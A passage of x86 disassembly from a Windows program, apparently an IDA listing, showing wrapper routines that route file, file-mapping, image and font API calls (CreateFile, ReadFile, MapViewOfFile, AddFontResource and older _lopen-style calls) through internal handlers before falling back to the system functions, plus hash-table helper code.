mov [ebp+var_1C], eax
loc_50B152: ; CODE XREF: sub_50B076+D2j
or [ebp+var_4], 0FFFFFFFFh
call sub_50B15D
jmp short loc_50B179
sub_50B076 endp
; =============== S U B R O U T I N E =======================================
sub_50B15D proc near ; CODE XREF: sub_50B076+E0p
; DATA XREF: _6:0050EADCo
mov eax, ds:dword_5160D4
mov [ebp-2Ch], eax
cmp dword ptr [ebp-2Ch], 0
jz short locret_50B178
mov eax, [ebp-2Ch]
add eax, 10h
push eax
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_50B178: ; CODE XREF: sub_50B15D+Cj
retn
sub_50B15D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50B076
loc_50B179: ; CODE XREF: sub_50B076+87j
; sub_50B076+B4j ...
mov eax, [ebp+var_1C]
loc_50B17C: ; CODE XREF: sub_50B076+7Ej
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 8
; END OF FUNCTION CHUNK FOR sub_50B076
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B18D proc near ; CODE XREF: sub_41786C+170p
; sub_419229+C3p ...
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EAE0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_1C], 0
push [ebp+arg_0]
call ds:dword_5116E0 ; FreeLibrary
jmp short loc_50B1D9
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 1
or [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_24]
loc_50B1D9: ; CODE XREF: sub_50B18D+35j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
sub_50B18D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B1EA proc near ; DATA XREF: _7:off_5113D8o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
mov eax, [ebp+arg_14]
and eax, 10h
test eax, eax
jz short loc_50B216
cmp [ebp+arg_8], 0
jnz short loc_50B216
lea eax, [ebp+var_4]
push eax
push [ebp+arg_4]
call sub_4FF036
test eax, eax
jnz short loc_50B216
and [ebp+var_4], 0
loc_50B216: ; CODE XREF: sub_50B1EA+10j
; sub_50B1EA+16j ...
cmp [ebp+var_4], 0
jnz short loc_50B237
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5117CC ; LoadImageA
mov [ebp+var_4], eax
loc_50B237: ; CODE XREF: sub_50B1EA+30j
mov eax, [ebp+var_4]
leave
retn 18h
sub_50B1EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B23E proc near ; DATA XREF: _7:off_5113C8o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push offset dword_50E5C4
push offset aAddfontresou_0 ; "AddFontResourceA"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_8], eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_4FF94C
test eax, eax
jnz short loc_50B270
push [ebp+arg_0]
call [ebp+var_8]
mov [ebp+var_4], eax
loc_50B270: ; CODE XREF: sub_50B23E+27j
mov eax, [ebp+var_4]
leave
retn 4
sub_50B23E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B277 proc near ; DATA XREF: _7:005113D0o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push offset dword_50E5C4
push offset aRemovefontre_0 ; "RemoveFontResourceA"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_8], eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_4FFD24
test eax, eax
jnz short loc_50B2A9
push [ebp+arg_0]
call [ebp+var_8]
mov [ebp+var_4], eax
loc_50B2A9: ; CODE XREF: sub_50B277+27j
mov eax, [ebp+var_4]
leave
retn 4
sub_50B277 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B2B0 proc near ; CODE XREF: sub_40E29B+A3p
; sub_40FFD8+1C3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_14]
and eax, 40000000h
neg eax
sbb eax, eax
neg eax
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_500346
test eax, eax
jnz short loc_50B2F7
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116A8 ; CreateFileA
mov [ebp+var_4], eax
loc_50B2F7: ; CODE XREF: sub_50B2B0+27j
mov eax, [ebp+var_4]
leave
retn 1Ch
sub_50B2B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B2FE proc near ; DATA XREF: _7:00511260o
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
; FUNCTION CHUNK AT 0050B3C1 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50EAF0
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 14h
push ebx
push esi
push edi
and [ebp+var_20], 0
or [ebp+var_1C], 0FFFFFFFFh
and [ebp+var_4], 0
push 104h
call sub_50835A
pop ecx
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
mov [ebp+var_20], eax
xor eax, eax
mov edi, [ebp+var_20]
stosd
push 0
push 0
push 104h
push [ebp+var_20]
push 0FFFFFFFFh
push [ebp+arg_0]
push 0
push 0
call ds:dword_5117B8 ; WideCharToMultiByte
mov [ebp+var_24], eax
cmp [ebp+var_24], 103h
ja short loc_50B388
push 0
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_10]
push [ebp+arg_4]
push [ebp+var_20]
call sub_500346
test eax, eax
jnz short loc_50B3A6
loc_50B388: ; CODE XREF: sub_50B2FE+70j
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116AC ; CreateFileW
mov [ebp+var_1C], eax
loc_50B3A6: ; CODE XREF: sub_50B2FE+88j
or [ebp+var_4], 0FFFFFFFFh
call sub_50B3B1
jmp short loc_50B3C1
sub_50B2FE endp
; =============== S U B R O U T I N E =======================================
sub_50B3B1 proc near ; CODE XREF: sub_50B2FE+ACp
; DATA XREF: _6:0050EAF8o
mov eax, [ebp-20h]
mov [ebp-2Ch], eax
push dword ptr [ebp-2Ch]
call sub_5083DD
pop ecx
retn
sub_50B3B1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_50B2FE
loc_50B3C1: ; CODE XREF: sub_50B2FE+B1j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 1Ch
; END OF FUNCTION CHUNK FOR sub_50B2FE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B3D5 proc near ; CODE XREF: sub_401300+BEp
; sub_401300+C3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_500741
test eax, eax
jnz short loc_50B3F5
push [ebp+arg_0]
call ds:dword_5116A4 ; CloseHandle
mov [ebp+var_4], eax
loc_50B3F5: ; CODE XREF: sub_50B3D5+12j
mov eax, [ebp+var_4]
leave
retn 4
sub_50B3D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B3FC proc near ; CODE XREF: sub_40E29B+19Bp
; sub_40E29B+48Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_501177
test eax, eax
jnz short loc_50B436
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_51177C ; ReadFile
mov [ebp+var_4], eax
jmp short loc_50B459
; ---------------------------------------------------------------------------
loc_50B436: ; CODE XREF: sub_50B3FC+1Ej
cmp [ebp+arg_10], 0
jz short loc_50B459
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 0
jnz short loc_50B459
mov eax, [ebp+arg_10]
cmp dword ptr [eax+10h], 0
jz short loc_50B459
mov eax, [ebp+arg_10]
push dword ptr [eax+10h]
call ds:dword_511784 ; SetEvent
loc_50B459: ; CODE XREF: sub_50B3FC+38j
; sub_50B3FC+3Ej ...
mov eax, [ebp+var_4]
leave
retn 14h
sub_50B3FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B460 proc near ; CODE XREF: sub_410908+6Cp
; sub_416788+259p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_500421
test eax, eax
jnz short loc_50B491
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_511788 ; SetFilePointer
mov [ebp+var_4], eax
jmp short loc_50B49D
; ---------------------------------------------------------------------------
loc_50B491: ; CODE XREF: sub_50B460+18j
cmp [ebp+arg_8], 0
jz short loc_50B49D
mov eax, [ebp+arg_8]
and dword ptr [eax], 0
loc_50B49D: ; CODE XREF: sub_50B460+2Fj
; sub_50B460+35j
mov eax, [ebp+var_4]
leave
retn 10h
sub_50B460 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B4A4 proc near ; CODE XREF: sub_418CE5+28p
; _0:0043AB52j
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_50B4BE
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_500216
test eax, eax
jnz short loc_50B4D9
loc_50B4BE: ; CODE XREF: sub_50B4A4+8j
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116B0 ; CreateFileMappingA
mov [ebp+var_4], eax
loc_50B4D9: ; CODE XREF: sub_50B4A4+18j
mov eax, [ebp+var_4]
leave
retn 18h
sub_50B4A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B4E0 proc near ; DATA XREF: _7:005112B0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_50B4FA
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_500216
test eax, eax
jnz short loc_50B515
loc_50B4FA: ; CODE XREF: sub_50B4E0+8j
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_5116B4 ; CreateFileMappingW
mov [ebp+var_4], eax
loc_50B515: ; CODE XREF: sub_50B4E0+18j
mov eax, [ebp+var_4]
leave
retn 18h
sub_50B4E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B51C proc near ; CODE XREF: sub_418CE5+39p
; _0:0043AB4Cj
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4FFFBF
test eax, eax
jnz short loc_50B554
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_51176C ; MapViewOfFile
mov [ebp+var_4], eax
loc_50B554: ; CODE XREF: sub_50B51C+1Ej
mov eax, [ebp+var_4]
leave
retn 14h
sub_50B51C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B55B proc near ; CODE XREF: sub_418CE5+6Cp
; _0:0043AB46j
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_4FFECD
test eax, eax
jnz short loc_50B57B
push [ebp+arg_0]
call ds:dword_5117A0 ; UnmapViewOfFile
mov [ebp+var_4], eax
loc_50B57B: ; CODE XREF: sub_50B55B+12j
mov eax, [ebp+var_4]
leave
retn 4
sub_50B55B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B582 proc near ; DATA XREF: _7:00511328o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
lea eax, [ebp+var_4]
push eax
push 0
push 0
push [ebp+arg_0]
call sub_500346
test eax, eax
jz short loc_50B610
cmp [ebp+arg_4], 0
jz short loc_50B60B
mov eax, [ebp+arg_4]
movzx eax, byte ptr [eax]
cmp eax, 88h
jnz short loc_50B60B
mov eax, [ebp+arg_4]
mov byte ptr [eax+1], 1
mov eax, [ebp+arg_4]
and word ptr [eax+2], 0
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_8], ecx
cmp [ebp+var_8], 7Fh
jnb short loc_50B5E0
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
jmp short loc_50B5E7
; ---------------------------------------------------------------------------
loc_50B5E0: ; CODE XREF: sub_50B582+54j
mov [ebp+var_10], 7Fh
loc_50B5E7: ; CODE XREF: sub_50B582+5Cj
mov ecx, [ebp+var_10]
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
add edi, 8
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+arg_4]
and byte ptr [eax+87h], 0
loc_50B60B: ; CODE XREF: sub_50B582+22j
; sub_50B582+2Fj
mov eax, [ebp+var_4]
jmp short loc_50B630
; ---------------------------------------------------------------------------
loc_50B610: ; CODE XREF: sub_50B582+1Cj
push offset dword_50E5B4
push offset aOpenfile ; "OpenFile"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_C], eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_C]
loc_50B630: ; CODE XREF: sub_50B582+8Cj
pop edi
pop esi
leave
retn 0Ch
sub_50B582 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B636 proc near ; DATA XREF: _7:00511330o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push 0
lea eax, [ebp+var_4]
push eax
push 0
push 0
push [ebp+arg_0]
call sub_500346
test eax, eax
jz short loc_50B656
mov eax, [ebp+var_4]
jmp short locret_50B673
; ---------------------------------------------------------------------------
loc_50B656: ; CODE XREF: sub_50B636+19j
push offset dword_50E5B4
push offset a_lopen ; "_lopen"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_8], eax
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_8]
locret_50B673: ; CODE XREF: sub_50B636+1Ej
leave
retn 8
sub_50B636 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B677 proc near ; DATA XREF: _7:00511338o
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
movzx eax, ds:byte_5160E4
and eax, 1
test eax, eax
jnz short loc_50B6AB
mov al, ds:byte_5160E4
or al, 1
mov ds:byte_5160E4, al
push offset dword_50E5B4
push offset a_lclose ; "_lclose"
call sub_509C22
pop ecx
pop ecx
mov ds:dword_5160E0, eax
loc_50B6AB: ; CODE XREF: sub_50B677+10j
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_500741
test eax, eax
jnz short loc_50B6C6
push [ebp+arg_0]
call ds:dword_5160E0
jmp short locret_50B6C8
; ---------------------------------------------------------------------------
loc_50B6C6: ; CODE XREF: sub_50B677+42j
xor eax, eax
locret_50B6C8: ; CODE XREF: sub_50B677+4Dj
leave
retn 4
sub_50B677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B6CC proc near ; DATA XREF: _7:00511348o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp+var_4]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_500421
test eax, eax
jnz short loc_50B70A
push offset dword_50E5B4
push offset a_llseek ; "_llseek"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_8], eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_8]
mov [ebp+var_4], eax
loc_50B70A: ; CODE XREF: sub_50B6CC+19j
mov eax, [ebp+var_4]
leave
retn 0Ch
sub_50B6CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B711 proc near ; DATA XREF: _7:00511340o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
lea eax, [ebp+var_4]
push eax
push 0
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_501177
test eax, eax
jnz short loc_50B763
push offset dword_50E5B4
push offset a_lread ; "_lread"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_C], eax
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_C]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_50B763
mov [ebp+var_4], 1
loc_50B763: ; CODE XREF: sub_50B711+20j
; sub_50B711+49j
cmp [ebp+var_4], 0
jnz short loc_50B76F
or [ebp+var_10], 0FFFFFFFFh
jmp short loc_50B775
; ---------------------------------------------------------------------------
loc_50B76F: ; CODE XREF: sub_50B711+56j
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
loc_50B775: ; CODE XREF: sub_50B711+5Cj
mov eax, [ebp+var_10]
leave
retn 0Ch
sub_50B711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B77C proc near ; CODE XREF: sub_502DD0+6C7p
; sub_502DD0+70Dp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
mov [eax], ecx
mov eax, [ebp+var_8]
and dword ptr [eax+0Ch], 0
mov eax, [ebp+arg_0]
shl eax, 2
push eax
call sub_50835A
pop ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
mov [eax+8], ecx
mov eax, [ebp+var_8]
add eax, 10h
push eax
call ds:dword_51174C ; InitializeCriticalSection
mov eax, [ebp+var_8]
leave
retn 4
sub_50B77C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B7C0 proc near ; CODE XREF: sub_50B82A+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov [ebp+var_14], ecx
and [ebp+var_4], 0
jmp short loc_50B7D6
; ---------------------------------------------------------------------------
loc_50B7CF: ; CODE XREF: sub_50B7C0:loc_50B824j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_50B7D6: ; CODE XREF: sub_50B7C0+Dj
mov eax, [ebp+var_14]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jnb short locret_50B826
mov eax, [ebp+var_14]
mov eax, [eax+8]
mov ecx, [ebp+var_4]
mov eax, [eax+ecx*4]
mov [ebp+var_8], eax
loc_50B7EF: ; CODE XREF: sub_50B7C0+62j
cmp [ebp+var_8], 0
jz short loc_50B824
cmp [ebp+arg_0], 0
jz short loc_50B804
mov eax, [ebp+var_8]
push dword ptr [eax]
call [ebp+arg_0]
pop ecx
loc_50B804: ; CODE XREF: sub_50B7C0+39j
mov eax, [ebp+var_8]
mov [ebp+var_C], eax
mov eax, [ebp+var_8]
mov eax, [eax+8]
mov [ebp+var_8], eax
mov eax, [ebp+var_C]
mov [ebp+var_10], eax
push [ebp+var_10]
call sub_5083DD
pop ecx
jmp short loc_50B7EF
; ---------------------------------------------------------------------------
loc_50B824: ; CODE XREF: sub_50B7C0+33j
jmp short loc_50B7CF
; ---------------------------------------------------------------------------
locret_50B826: ; CODE XREF: sub_50B7C0+1Ej
leave
retn 4
sub_50B7C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B82A proc near ; CODE XREF: sub_505070+51p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
mov [ebp+var_8], ecx
push 0
mov ecx, [ebp+var_8]
call sub_50B7C0
mov eax, [ebp+var_8]
mov eax, [eax+8]
mov [ebp+var_4], eax
push [ebp+var_4]
call sub_5083DD
pop ecx
mov eax, [ebp+var_8]
add eax, 10h
push eax
call ds:dword_511750 ; RtlDeleteCriticalSection
leave
retn
sub_50B82A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B85D proc near ; DATA XREF: sub_50B871+Co
; sub_50B8E0+Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor ecx, ecx
cmp eax, [ebp+arg_4]
setnz cl
mov eax, ecx
pop ebp
retn 8
sub_50B85D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B871 proc near ; CODE XREF: sub_4FF036+94p
; sub_4FF6DE+63p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
push offset sub_50BAFE
push offset sub_50B85D
push [ebp+arg_0]
mov ecx, [ebp+var_4]
call sub_50B891
leave
retn 4
sub_50B871 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B891 proc near ; CODE XREF: sub_5058CF+20p
; sub_50B871+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
push dword ptr [eax]
push [ebp+arg_0]
call [ebp+arg_8]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov ecx, [ecx+8]
mov eax, [ecx+eax*4]
mov [ebp+var_4], eax
loc_50B8B2: ; CODE XREF: sub_50B891+47j
cmp [ebp+var_4], 0
jz short loc_50B8DA
push [ebp+arg_0]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call [ebp+arg_4]
test eax, eax
jnz short loc_50B8CF
mov eax, [ebp+var_4]
mov eax, [eax]
jmp short locret_50B8DC
; ---------------------------------------------------------------------------
loc_50B8CF: ; CODE XREF: sub_50B891+35j
mov eax, [ebp+var_4]
mov eax, [eax+8]
mov [ebp+var_4], eax
jmp short loc_50B8B2
; ---------------------------------------------------------------------------
loc_50B8DA: ; CODE XREF: sub_50B891+25j
xor eax, eax
locret_50B8DC: ; CODE XREF: sub_50B891+3Cj
leave
retn 0Ch
sub_50B891 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B8E0 proc near ; CODE XREF: sub_4FF818+93p
; sub_4FFD24+106p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
push offset sub_50BAFE
push offset sub_50B85D
push [ebp+arg_0]
mov ecx, [ebp+var_4]
call sub_50B900
leave
retn 4
sub_50B8E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B900 proc near ; CODE XREF: sub_505FCD+F1p
; sub_50B8E0+17p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_18], ecx
mov eax, [ebp+var_18]
push dword ptr [eax]
push [ebp+arg_0]
call [ebp+arg_8]
pop ecx
pop ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_18]
mov eax, [eax+8]
mov ecx, [ebp+var_C]
mov eax, [eax+ecx*4]
mov [ebp+var_8], eax
mov eax, [ebp+var_18]
mov eax, [eax+8]
mov ecx, [ebp+var_C]
lea eax, [eax+ecx*4]
mov [ebp+var_4], eax
loc_50B937: ; CODE XREF: sub_50B900+86j
cmp [ebp+var_8], 0
jz short loc_50B988
push [ebp+arg_0]
mov eax, [ebp+var_8]
push dword ptr [eax+4]
call [ebp+arg_4]
test eax, eax
jnz short loc_50B974
mov eax, [ebp+var_4]
mov ecx, [ebp+var_8]
mov ecx, [ecx+8]
mov [eax], ecx
mov eax, [ebp+var_8]
mov eax, [eax]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
push [ebp+var_14]
call sub_5083DD
pop ecx
mov eax, [ebp+var_10]
jmp short locret_50B98A
; ---------------------------------------------------------------------------
loc_50B974: ; CODE XREF: sub_50B900+4Bj
mov eax, [ebp+var_8]
add eax, 8
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
mov eax, [eax+8]
mov [ebp+var_8], eax
jmp short loc_50B937
; ---------------------------------------------------------------------------
loc_50B988: ; CODE XREF: sub_50B900+3Bj
xor eax, eax
locret_50B98A: ; CODE XREF: sub_50B900+72j
leave
retn 0Ch
sub_50B900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B98E proc near ; CODE XREF: sub_4FC000+3Ep
; sub_500216+D8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
push offset sub_50BAFE
push offset sub_50B85D
push [ebp+arg_4]
push [ebp+arg_0]
mov ecx, [ebp+var_4]
call sub_50B9B1
leave
retn 8
sub_50B98E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50B9B1 proc near ; CODE XREF: sub_505BD7+204p
; sub_50B98E+1Ap
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
push edi
mov [ebp+var_10], ecx
mov eax, [ebp+var_10]
push dword ptr [eax]
push [ebp+arg_0]
call [ebp+arg_C]
pop ecx
pop ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
mov eax, [eax+8]
mov ecx, [ebp+var_8]
